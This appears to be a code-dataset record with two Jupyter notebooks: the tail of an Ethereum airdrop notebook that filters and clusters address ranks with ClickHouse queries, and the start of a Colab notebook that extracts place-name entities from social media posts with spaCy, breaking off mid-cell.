Outcome\n# 3. Fees of outgoing transactions\n# 4. Mining rewards\n# 5. Transaction fees in blocks mined as \"blocks\", not as \"uncles\"\n#\n# We should calculate these values for all addresses in graph and to throw away addresses with close-to-zero balance. Frankly speaking, this is the end point of addresses list formation for the overhelming majority of airdrops.\n\nclient.execute(\"\"\"\n SET max_memory_usage=50000000000\n\"\"\")\n\noutcome = client.execute(\"\"\"\n SELECT from, SUM(value) \n FROM ethereum_internal_transaction \n WHERE value > 0\n AND error IS NULL\n AND parent_error IS NULL\n GROUP BY from\n\"\"\")\n\noutcome_df = pd.DataFrame(outcome, columns=[\"address\", \"value\"])\n\nincome = client.execute(\"\"\"\n SELECT to, SUM(value) \n FROM ethereum_internal_transaction \n WHERE value > 0\n AND error IS NULL\n AND parent_error IS NULL\n GROUP BY to\n\"\"\")\n\nincome_df = pd.DataFrame(income, columns=[\"address\", \"value\"])\n\nmining = client.execute(\"\"\"\n SELECT author, SUM(value)\n FROM ethereum_internal_transaction \n GROUP BY author\n\"\"\")\n\nmining_df = pd.DataFrame(mining, columns=[\"address\", \"value\"])\n\npaid_fees = client.execute(\"\"\"\n SELECT from, SUM(fee)\n FROM\n (\n SELECT from, dictGetInt32('transaction_fee', 'gasUsed', tuple(id)) * dictGetFloat64('transaction_fee', 'gasPrice', tuple(id)) AS fee \n FROM ethereum_internal_transaction \n WHERE fee > 0\n ) \n GROUP BY from\n\"\"\")\n\npaid_fees_df = pd.DataFrame(paid_fees, columns=[\"address\", \"value\"])\n\nfees = client.execute(\"\"\"\n SELECT blockHash, author, fee \n FROM (\n SELECT blockHash, author \n FROM ethereum_internal_transaction \n WHERE type='reward' \n AND rewardType = 'block'\n ) ANY INNER JOIN (\n SELECT blockHash, dictGetInt32('transaction_fee', 'gasUsed', tuple(id)) * dictGetFloat64('transaction_fee', 'gasPrice', tuple(id)) AS fee \n FROM ethereum_internal_transaction \n WHERE fee > 0\n ) USING blockHash\n\"\"\")\n\nfees_df = pd.DataFrame(fees, columns=[\"block\", \"address\", \"value\"])\n\nfees_df = fees_df.groupby('address')[\"value\"].sum().to_frame()\n\nbalances_df = fees_df.reset_index().merge(mining_df, how=\"outer\", on=\"address\").rename(columns={\n \"value_x\": \"fees\",\n \"value_y\": \"reward\"\n})\nbalances_df = balances_df.merge(income_df, how=\"outer\", on=\"address\").rename(columns={\n \"value\": \"income\"\n})\nbalances_df = balances_df.merge(outcome_df, how=\"outer\", on=\"address\").rename(columns={\n \"value\": \"outcome\"\n})\nbalances_df = balances_df.merge(paid_fees_df, how=\"outer\", on=\"address\").rename(columns={\n \"value\": \"paid_fees\"\n})\n\nbalances_df.fillna(0, inplace=True)\n\nbalances_df[\"balance\"] = balances_df[\"income\"] + balances_df[\"reward\"] + balances_df[\"fees\"] - balances_df[\"outcome\"] - balances_df[\"paid_fees\"]\n\nbalances_df[balances_df[\"balance\"] < -0.01].shape\n\nbalances_df.to_csv(\"balances\")\n\naddresses_with_nonzero_balance = [address for address in tqdm_notebook(balances_df[balances_df[\"balance\"] > 0.001][\"address\"]) if address in ranks_df.index]\n\nranks_df = ranks_df.loc[addresses_with_nonzero_balance]\n\nranks_df.reset_index().to_csv(\"filtered_ranks\", sep=\" \", header=False, index=False)\n\nranks_df.shape\n\n# # Addresses clustering\n#\n# The procedure of list reduction described in a main article goes below. \n#\n# Here are the steps of this process\n\nranks_df = pd.read_csv(\"./filtered_ranks\", sep=\" \", names=[\"address\", \"rank\"]).set_index(\"address\")\n\n# ### Reduce number of points to estimate KDE\n#\n# 1M points works pretty fast with CUDA implementation. 10M works really much slower even with GPU implementation\n\nranks_df[\"rounded_rank\"] = ranks_df[\"rank\"] * 1000000000 // 100\n\nranks_df[\"rounded_rank\"].nunique()\n\nbins = ranks_df.groupby(\"rounded_rank\").size()\n\nbins = bins.to_frame().reset_index()\n\nbins[\"rounded_rank\"] = bins[\"rounded_rank\"] / 10000000\n\nbins.to_csv(\"./file.csv\", sep=\" \", header=False, index=False)\n\nranks_df[\"value\"] = 1\n\nranks_df[[\"rank\", \"value\"]].sort_values(\"rank\").to_csv(\"file.csv\", sep=\" \", header=False, index=False)\n\n# ### Load KDE results\n#\n# Make sure you have calculated KDE values with [bbrcit_kde](https://github.com/dchao34/bbrcit_kde) and save them to result.csv file\n\nkde_df = pd.read_csv(\"./result.csv\", sep=\" \", names=[\"rank\", \"kde\"])\n\n# ### Clusterize ranks\n#\n# Interpolate KDE values to prevent mess in local maxima region (cause of too many data points)\n\ngrid = np.linspace(kde_df[\"rank\"].quantile(0.0001), kde_df[\"rank\"].quantile(0.9999), kde_df.shape[0])\nkde_f = interpolate.interp1d(kde_df[\"rank\"], kde_df[\"kde\"])\n\nnormalized_kde_df = pd.DataFrame()\nnormalized_kde_df[\"rank\"] = grid\nnormalized_kde_df[\"kde\"] = kde_f(grid)\n\n# Approximately find local maximas and local minimas with rolling window\n\nmaxids = normalized_kde_df[\"kde\"].rolling(100, center=True).max() == normalized_kde_df[\"kde\"]\nminids = normalized_kde_df[\"kde\"].rolling(100, center=True).min() == normalized_kde_df[\"kde\"]\n\nnormalized_kde_df[\"ismin\"] = False\nnormalized_kde_df.loc[minids, \"ismin\"] = True\nnormalized_kde_df.loc[maxids, \"ismin\"] = False\nnormalized_kde_df[\"ismax\"] = False\nnormalized_kde_df.loc[maxids, \"ismax\"] = True\nnormalized_kde_df.loc[minids, \"ismax\"] = False\n\n# Plot results of clustering. Green points stand for local maximas, red crosses stand for local minimas.\n\nplt.figure(figsize=(30, 4))\nplt.plot(normalized_kde_df[\"rank\"], normalized_kde_df[\"kde\"], label=\"KDE\")\nplt.plot(normalized_kde_df[\"rank\"][maxids], normalized_kde_df[\"kde\"][maxids], 'o', color=\"green\", label=\"Local maximas\")\nplt.plot(normalized_kde_df[\"rank\"][minids], normalized_kde_df[\"kde\"][minids], 'x', color=\"red\", label=\"Local minimas\")\nplt.xlim(left=-0.1, right=0.07)\nplt.xlabel(\"Rank\")\nplt.ylabel(\"KDE values\")\nplt.legend()\n\n# A cluster is an interval between two local minimas that contains at least one detected local maximum and at least 100 data points\n\n# +\nlocal_minima = False\nlocal_maxima = False\ncluster_size = 0\ncluster = 0\nMIN_CLUSTER_SIZE = 100\ncluster_start = ranks_df[\"rank\"].min()\n\nfor i, row in tqdm_notebook(normalized_kde_df.iterrows(), total=normalized_kde_df.shape[0]):\n cluster_size += 1\n if row[\"ismax\"]:\n local_maxima = True\n elif row[\"ismin\"]:\n if local_minima and local_maxima and (cluster_size > MIN_CLUSTER_SIZE):\n cluster_size = 0\n local_maxima = False\n local_minima = False\n ranks_df.loc[(ranks_df[\"rank\"] >= cluster_start) & (ranks_df[\"rank\"] <= row[\"rank\"]), \"cluster\"] = cluster\n cluster += 1\n if not local_minima:\n local_minima = True\n cluster_start = row[\"rank\"]\n# -\n\nranks_df[\"cluster\"] = ranks_df[\"cluster\"].fillna(cluster + 1)\n\n# # List filtering\n\n# Next we should restore cluster for each node and select nodes with ranks close to related centers\n\nkde_ranks = normalized_kde_df[\"rank\"].tolist()\n\n\n# +\ndef find_le(a, x):\n 'Find rightmost value less than or equal to x'\n i = bisect_right(a, x)\n i = max(i - 1, 0)\n return a[i]\n\ndef find_ge(a, x):\n 'Find leftmost item greater than or equal to x'\n i = bisect_left(a, x)\n i = min(i, len(a) - 1)\n return a[i]\n \ndef find_closest(a, x):\n successor = find_ge(a, x)\n predecessor = find_le(a, x)\n if successor - x > x - predecessor:\n return predecessor\n else:\n return successor\n\n\n# -\n\nranks_df[\"kde_rank\"] = ranks_df[\"rank\"].apply(lambda x: find_closest(kde_ranks, x))\n\nkde_for_ranks = {row[\"rank\"]: row[\"kde\"] for i, row in tqdm_notebook(normalized_kde_df.iterrows(), total=normalized_kde_df.shape[0])}\n\nranks_df[\"kde\"] = ranks_df[\"kde_rank\"].apply(lambda x: kde_for_ranks[x])\n\nADDRESSES_SIZE = 1000000\naddresses = []\nfor cluster in tqdm_notebook(ranks_df[\"cluster\"].unique()):\n cluster_addresses = ranks_df[ranks_df[\"cluster\"] == cluster].sort_values(\"kde\", ascending=False).index.tolist()\n selection_size = int(ADDRESSES_SIZE * len(cluster_addresses) / ranks_df.shape[0])\n selection_size = max(selection_size, 1)\n addresses += cluster_addresses[:selection_size]\n\nfiltered_ranks_df[[\"percentage\"]].sort_values(\"percentage\", ascending=False).to_csv(\"./clusterized_ranks\", sep=\" \", header=False)\n\n# # Where are you, Dmitry?\n\n# ![](https://i0.wp.com/rusmonitor.com/wp-content/uploads/2018/02/ww1474-e1517836960203.jpg)\n\n# Seems like during the process of genesis generation we've accidentaly throw away the addresses of key team members including Dmitry. This is very strange, cause his address was participated in more than 1000 transactions\n#\n# The future investigation showed that Dmitry got into a cluster centered around one of Bittrex addresses. So the procedure selects most active Bittrex traders from this cluster\n\nfiltered_ranks_df = ranks_df.loc[addresses].copy()\n\nplt.figure(figsize=(40, 6))\n# plt.figure(figsize=(20, 3))\nplt.plot(kde_df[\"rank\"], kde_df[\"kde\"], label=\"KDE\")\nplt.scatter(filtered_ranks_df[\"rank\"], filtered_ranks_df[\"kde\"], label=\"Ранги, попавшие в список\")\nplt.scatter(ranks_df[\"rank\"], np.zeros(ranks_df.shape[0]) + 0.005, marker='.', alpha=0.01, label=\"Плотность рангов\")\nfor cluster in tqdm_notebook(ranks_df[\"cluster\"].unique()):\n cluster_ranks = ranks_df[ranks_df[\"cluster\"] == cluster][\"rank\"]\n plt.scatter(cluster_ranks, np.zeros(cluster_ranks.shape[0]), marker='.')\nplt.axvline(x=ranks_df.loc[\"(Dmitry's address)\".lower()][\"rank\"], label=\"Адрес Димы\")\nplt.xlim(left=0.34, right=0.50)\nplt.ylim(0, 0.04)\nplt.xlabel(\"Ранг\")\nplt.ylabel(\"Значение KDE\")\nplt.legend()\n\nfiltered_ranks_df.shape\n\nfiltered_ranks_df[\"percentage\"] = 1 / filtered_ranks_df[\"kde\"]\n\nfiltered_ranks_df[\"percentage\"] = filtered_ranks_df[\"percentage\"] / filtered_ranks_df[\"percentage\"].sum()\n\nranks_df.loc[\"(Dmitry's address)\".lower()]\n\ncluster_addresses = ranks_df[ranks_df[\"cluster\"] == 277].sort_values('kde', ascending=False).index\n\ncluster_addresses_string = \",\".join([\"'{}'\".format(a) for a in cluster_addresses])\n\ntransactions_in_cluster = client.execute(\"\"\"\n SELECT from, to, value\n FROM ethereum_internal_transaction\n WHERE (from in({}) OR to in({}))\n AND value > 0\n\"\"\".format(cluster_addresses_string, cluster_addresses_string))\n\ntransactions_in_cluster_df = pd.DataFrame(transactions_in_cluster, columns=[\"from\", \"to\", \"value\"])\n\ntransactions_in_cluster_df.shape\n\ninternal_transactions_df = transactions_in_cluster_df[transactions_in_cluster_df[\"from\"].isin(cluster_addresses) & transactions_in_cluster_df[\"to\"].isin(cluster_addresses)]\n\ngraph = nx.DiGraph()\ngraph.add_edges_from(internal_transactions_df[[\"from\", \"to\"]].values)\n\ntest_frame_df = internal_transactions_df.groupby(\"to\").size().sort_values()\n\ntest_frame_df = test_frame_df.to_frame().merge(filtered_ranks_df[\"kde\"].to_frame(), left_index=True, right_index=True)\n\ntest_frame_df.sort_values(\"kde\")\n\nplt.figure(figsize=(20, 20))\npos = nx.spring_layout(graph)\nnx.draw(graph, pos, node_size=1, node_color='black')\nnx.draw_networkx_nodes(graph, pos, nodelist=[\"0xfbb1b73c4f0bda4f67dca266ce6ef42f520fbb98\".lower()], node_size=50, node_color=\"red\")\nnx.draw_networkx_labels(graph, pos, labels={\"0xfbb1b73c4f0bda4f67dca266ce6ef42f520fbb98\".lower(): \"Bittrex\"}, node_size=10, node_color=\"red\")\n","repo_name":"anxious-insecure/ethereum-rank-airdrop","sub_path":"ranks-filtering-process.ipynb","file_name":"ranks-filtering-process.ipynb","file_ext":"py","file_size_in_byte":12675,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"12"} +{"seq_id":"6590631","text":"# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"t6f9jbbyShdV\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734205028, \"user_tz\": 300, \"elapsed\": 156631, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"488b1462-a64b-4ae1-9d43-1ca19747a711\"\n# !pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_lg-2.2.5/en_core_web_lg-2.2.5.tar.gz\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"rM1B-1p9Sexx\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734474289, \"user_tz\": 300, \"elapsed\": 3344, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"32daf657-466e-4d18-e325-0ccaeba70ec6\"\n# !pip install bert-tensorflow\n\n# + id=\"4Z-jRdxVjr9y\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1640734657571, \"user_tz\": 300, \"elapsed\": 183294, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"62508812-0b69-4ce6-e3e2-737ed6885b2c\"\n# #%cd ..\nfrom google.colab import drive\ndrive.mount('/content/gdrive')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ILZWV56ZQLMQ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734657572, \"user_tz\": 300, \"elapsed\": 20, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"5b0807e7-e06c-4854-f585-a78ef26cf5d7\"\n# !ln -s /content/gdrive/MyDrive/ /mydrive\n# !ls /mydrive\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"PHzYcNaTQRpq\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734657573, \"user_tz\": 300, \"elapsed\": 14, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"a57567cd-0416-40fe-b7a2-00b8ab618b0c\"\n# %cd gdrive/MyDrive/2021-online-language-offline-impact-main\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"_LPu2lNUQTUy\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734657722, \"user_tz\": 300, \"elapsed\": 158, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"80011126-6ddd-49af-cf02-6af012ff9c8a\"\n# !ls\n\n# + id=\"cBCOmIJPQg7w\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734662896, \"user_tz\": 300, \"elapsed\": 5175, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nimport os\nimport collections\nimport ast\nimport pandas as pd\nimport numpy as np\nfrom scipy import stats\nfrom datetime import datetime, timedelta\nimport spacy\nimport tensorflow as tf\nimport tensorflow_hub as hub\nfrom tensorflow.keras import layers\nfrom bert import tokenization\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.metrics import confusion_matrix, classification_report, accuracy_score\nimport matplotlib.pyplot as plt\n\n# + id=\"8v3BZgZ9Qhmw\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734662897, \"user_tz\": 300, \"elapsed\": 5, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct_path_611 = 'csv/US06_12.csv'\n\n# + id=\"DWnEOMXMQumw\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734663961, \"user_tz\": 300, \"elapsed\": 1068, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct = pd.read_csv(ct_path_611)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FJzPREl7QxTo\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734663963, \"user_tz\": 300, \"elapsed\": 16, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"9c6628cf-0c3a-4f85-b354-9a7262257c05\"\nct.shape[1]\n\n# + id=\"jz0PZ3teQ0EZ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734663964, \"user_tz\": 300, \"elapsed\": 11, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ncolumns1=['platformId', 'platform', 'date', 'updated', 'type1', 'title', 'caption', 'description', 'message','expandedLinks', 'link', 'postUrl', 'subscriberCount', 'score', 'media_type', 'media_numl', 'actual_likeCount', 'actual_shareCount', 'actual_commentCount', 'actual_loveCount', 'actual_wowCount', 'actual_hahaCount', 'actual_sadCount', 'actual_angryCount', 'actual_thankfulCount', 'actual_careCount', 'expected_likeCount', 'expected_shareCount', 'expected_commentCount', 'expected_loveCount', 'expected_wowCount', 'expected_hahaCount', 'expected_sadCount', 'expected_angryCount', 'expected_thankfulCount', 'expected_careCount', 'account_id', 'account_name', 'account_handle', 'account_profileImage', 'account_accountType', 'account_pageAdminTopCountry', 'account_pageDescription', 'account_verified', 'account_pageCreatedDate', 'languageCode', 'legacyId', 'post_id']\ncolumns2=['platformId', 'platform', 'date', 'updated', 'type1', 'title', 'caption', 'description', 'message', 'expandedLinks', 'link', 'postUrl', 'subscriberCount', 'score', 'media', 'actual_likeCount', 'actual_shareCount', 'actual_commentCount', 'actual_loveCount', 'actual_wowCount', 'actual_hahaCount', 'actual_sadCount', 'actual_angryCount', 'actual_thankfulCount', 'actual_careCount', 'expected_likeCount', 'expected_shareCount', 'expected_commentCount', 'expected_loveCount', 'expected_wowCount', 'expected_hahaCount', 'expected_sadCount', 'expected_angryCount', 'expected_thankfulCount', 'expected_careCount', 'account_id', 'account_name', 'account_handle', 'account_profileImage', 'account_accountType', 'account_pageAdminTopCountry', 'account_pageDescription', 'account_verified', 'account_pageCreatedDate', 'languageCode', 'legacyId', 'post_id']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"oNsms_LUQ3TG\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734663964, \"user_tz\": 300, \"elapsed\": 11, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"20758f1b-7993-458d-b056-c5d53ab471e7\"\n#len(columns1)\nlen(columns2)\n\n# + id=\"SI7ovDPpQ5Y5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734663966, \"user_tz\": 300, \"elapsed\": 10, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct.columns=columns2\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"ZSf0fxRtQ7EP\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734664224, \"user_tz\": 300, \"elapsed\": 267, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"4324d901-f6c6-44ad-dbb5-3e2e28711f40\"\nct\n\n# + id=\"yZxSciVvQ_ob\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734664226, \"user_tz\": 300, \"elapsed\": 10, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct['message'] = ct['message'].fillna('')\nct['description'] = ct['description'].fillna('')\nct['title'] = ct['title'].fillna('')\n\n# + id=\"n9__lV8fTE81\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734678127, \"user_tz\": 300, \"elapsed\": 13910, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nnlp = spacy.load('en_core_web_lg', disable=[\"tok2vec\", \"tagger\", \"parser\", \"attribute_ruler\", \"lemmatizer\"])\n\n\n# + id=\"lEPNeMduTGwr\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734678128, \"user_tz\": 300, \"elapsed\": 7, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ndef ner(txt):\n ner = dict()\n\n doc = nlp(txt)\n for ent in doc.ents:\n if ent.label_ == 'GPE':\n if ent.text not in ner:\n ner[ent.text] = 1\n else:\n ner[ent.text] += 1\n return ner\n\n\n# + id=\"xEZ8W6ASTIit\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734678129, \"user_tz\": 300, \"elapsed\": 7, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ndef ner_inline(doc):\n ner = dict()\n\n for ent in doc.ents:\n if ent.label_ == 'GPE':\n if ent.text not in ner:\n ner[ent.text] = 1\n else:\n ner[ent.text] += 1\n return ner\n\n\n# + id=\"ddCTyAFlTJCW\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734678129, \"user_tz\": 300, \"elapsed\": 6, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\ndef ner_pipe(texts):\n batch = []\n for doc in nlp.pipe(texts, batch_size=200, n_threads=16):\n batch.append(ner_inline(doc))\n return batch\n\n\n# + id=\"SmVs5HpETK_8\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734700074, \"user_tz\": 300, \"elapsed\": 21951, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct['NER-msg'] = ner_pipe(ct['message'])\n\n# + id=\"ghZW1WvQTMgB\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734744439, \"user_tz\": 300, \"elapsed\": 44373, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct['NER-msg'] = ct['message'].apply(ner)\n\n# + id=\"zOBzG_yhTNr6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734778068, \"user_tz\": 300, \"elapsed\": 33658, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct['NER-desc'] = ct['description'].apply(ner)\n\n# + id=\"HpXnH7obTO5A\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734798283, \"user_tz\": 300, \"elapsed\": 20222, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct['NER-title'] = ct['title'].apply(ner)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"8Q41sQDzTQSS\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734798286, \"user_tz\": 300, \"elapsed\": 10, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"3ab866c0-83ef-403e-98d9-4b87a0dc47e7\"\nct[['NER-msg', 'NER-desc']].head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"O2L4K7KRxCvT\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734798462, \"user_tz\": 300, \"elapsed\": 183, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"400ea567-73d0-4559-e8c5-ae98fa17459d\"\nct\n\n# + id=\"p8qR4eo7TTPZ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734798836, \"user_tz\": 300, \"elapsed\": 380, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct.to_csv('a0612.csv')\n\n# + id=\"HjAlDhiRTWLv\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799028, \"user_tz\": 300, \"elapsed\": 202, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct=pd.read_csv('a0612.csv',lineterminator='\\n')\n\n# + id=\"UyxFvMXeUObl\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799189, \"user_tz\": 300, \"elapsed\": 165, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct['NER-msg'] = ct['NER-msg'].apply(ast.literal_eval)\nct['NER-desc'] = ct['NER-desc'].apply(ast.literal_eval)\nct['NER-title'] = ct['NER-title'].apply(ast.literal_eval)\n\n# + id=\"td6Iiv4WUUTX\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799190, \"user_tz\": 300, \"elapsed\": 19, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}}\nct_ner = ct[((ct['NER-msg'] != {}) | (ct['NER-desc'] != {}) | (ct['NER-title'] != {}))]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"GfWBAmFpUVuU\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799191, \"user_tz\": 300, \"elapsed\": 20, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"29d2a7d7-7a3b-48e3-ad41-ddf4f251d85d\"\nct_ner[['NER-msg', 'NER-desc', 'NER-title']].head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"_ruRoZmHUXhT\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799191, \"user_tz\": 300, \"elapsed\": 18, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"cbc88e9d-9733-411c-d2f7-7ec4d4a4734e\"\nct_ner['NER-msg'] = ct_ner['NER-msg'].apply(lambda x: list(set(x.keys())))\nct_ner['NER-desc'] = ct_ner['NER-desc'].apply(lambda x: list(set(x.keys())))\nct_ner['NER-title'] = ct_ner['NER-title'].apply(lambda x: list(set(x.keys())))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"koKDKeNjUa-j\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799192, \"user_tz\": 300, \"elapsed\": 14, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"29ae868b-cefe-408d-ca37-6351944d84df\"\nct_ner['NER-msg']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"rvETg8fqUc-y\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799572, \"user_tz\": 300, \"elapsed\": 389, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"e352e2b7-a55d-426c-88e6-4487071174da\"\nct_ner['NER'] = ct_ner['NER-msg'] + ct_ner['NER-desc'] + ct_ner['NER-title']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cdT7rzlrUeae\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799573, \"user_tz\": 300, \"elapsed\": 53, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"8a56c484-e14c-416b-ab67-e9a22995b43e\"\nct_ner['NER']\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"TaZ1ElneUgJW\" executionInfo={\"status\": \"ok\", \"timestamp\": 1640734799573, \"user_tz\": 300, \"elapsed\": 48, \"user\": {\"displayName\": \"Xizhi Wu\", \"photoUrl\": \"https://lh3.googleusercontent.com/a/default-user=s64\", \"userId\": \"04356014742533343526\"}} outputId=\"ff4f5ce4-5b2d-49ad-a2fc-949e838afa41\"\nct_ner['NER'] = ct_ner['NER'].apply(set)\nct_ner['NER'] = ct_ner['NER'].apply(list)\n\n# + colab={\"base_uri\": 